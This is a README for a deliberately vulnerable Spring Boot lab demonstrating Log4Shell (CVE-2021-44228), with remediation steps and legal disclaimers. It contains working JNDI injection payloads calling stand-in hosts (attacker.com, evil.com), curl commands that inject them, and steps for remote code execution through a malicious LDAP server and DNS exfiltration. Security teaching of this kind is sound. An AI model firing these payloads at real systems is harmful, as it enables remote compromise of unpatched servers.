Log4j2-BugMaker

CVE-2021-44228 Log4Shell Vulnerability Demonstration Project

This is a demonstration project for learning and researching the Log4j2 remote code execution vulnerability (Log4Shell).

⚠️ Safety Warning

This project is intended for security research and educational purposes only. Do not use in production environments!

This project uses Log4j 2.14.1, which contains a serious security vulnerability.

📋 Environment Configuration

• Spring Boot: 2.6.1
• Log4j2: 2.14.1 (vulnerable version)
• Java: 8 (JDK 1.8)

🚀 Quick Start

1. Build the Project

./mvnw clean package

2. Run the Application

./mvnw spring-boot:run

Or alternatively:

java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar

3. Access the Application

Open a browser and visit: http://localhost:8080

🎯 Vulnerability Endpoints

1. User-Agent Header Injection

curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log

2. Query Parameter Injection

curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"

3. Health Check (Not Vulnerable)

curl http://localhost:8080/api/health

💡 Vulnerability Principle

Log4Shell (CVE-2021-44228) is a critical vulnerability in Apache Log4j2. When the application logs user input containing specially formatted strings, Log4j2 parses JNDI lookup expressions, which attackers can exploit to execute remote code.

Attack Payload Examples

${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}

Test Payloads (Safe)

${java:version}
${java:os}
${env:PATH}

🔧 Testing Steps

1. Start the application
2. Send a request containing a JNDI expression
3. Check the console logs to observe Log4j2's parsing behavior

🛡️ Remediation Options

Option 1: Upgrade Log4j2 Version

Upgrade Log4j2 to version 2.17.1 or higher:

<properties>
    <log4j2.version>2.17.1</log4j2.version>
</properties>

Option 2: Set JVM Parameter

-Dlog4j2.formatMsgNoLookups=true

Option 3: Remove JndiLookup Class

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

🚀 Remote Code Execution Demonstration

Method 1: Using Provided Tool (Recommended)

# 1. Run the automated script
./setup-exploit-server.sh

# 2. Select the JNDI-Injection-Exploit tool
# 3. Enter the command to execute (e.g., whoami or cat /etc/hosts)
# 4. Send the attack payload from another terminal

Method 2: Using Python LDAP Server

# Start a malicious LDAP server
python3 simple-ldap-server.py "whoami"

# Or execute another command
python3 simple-ldap-server.py "cat /etc/hosts"

# Send the attack payload from another terminal
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log

Method 3: DNS Exfiltration Verification (No Server Setup Required)

# Run the DNS exfiltration test script
./test-dns-exfiltration.sh

# Follow the prompts, visit dnslog.cn to obtain a subdomain
# Then check whether a DNS query request was received

📚 References

• CVE-2021-44228 Details
• Apache Log4j Security Advisory
• CISA Alert
• JNDI-Injection-Exploit
• JNDIExploit

📝 License

This project is licensed under the MIT License.

Special Notice: This project is intended for educational and security research purposes only. Users assume all risk associated with its use.

⚠️ Legal Disclaimer

Unauthorized penetration testing against other systems is illegal! This project is intended solely for:

• Learning in your own test environment
• Authorized security testing
• Security research and educational purposes

Please comply with local laws and regulations and use this knowledge responsibly.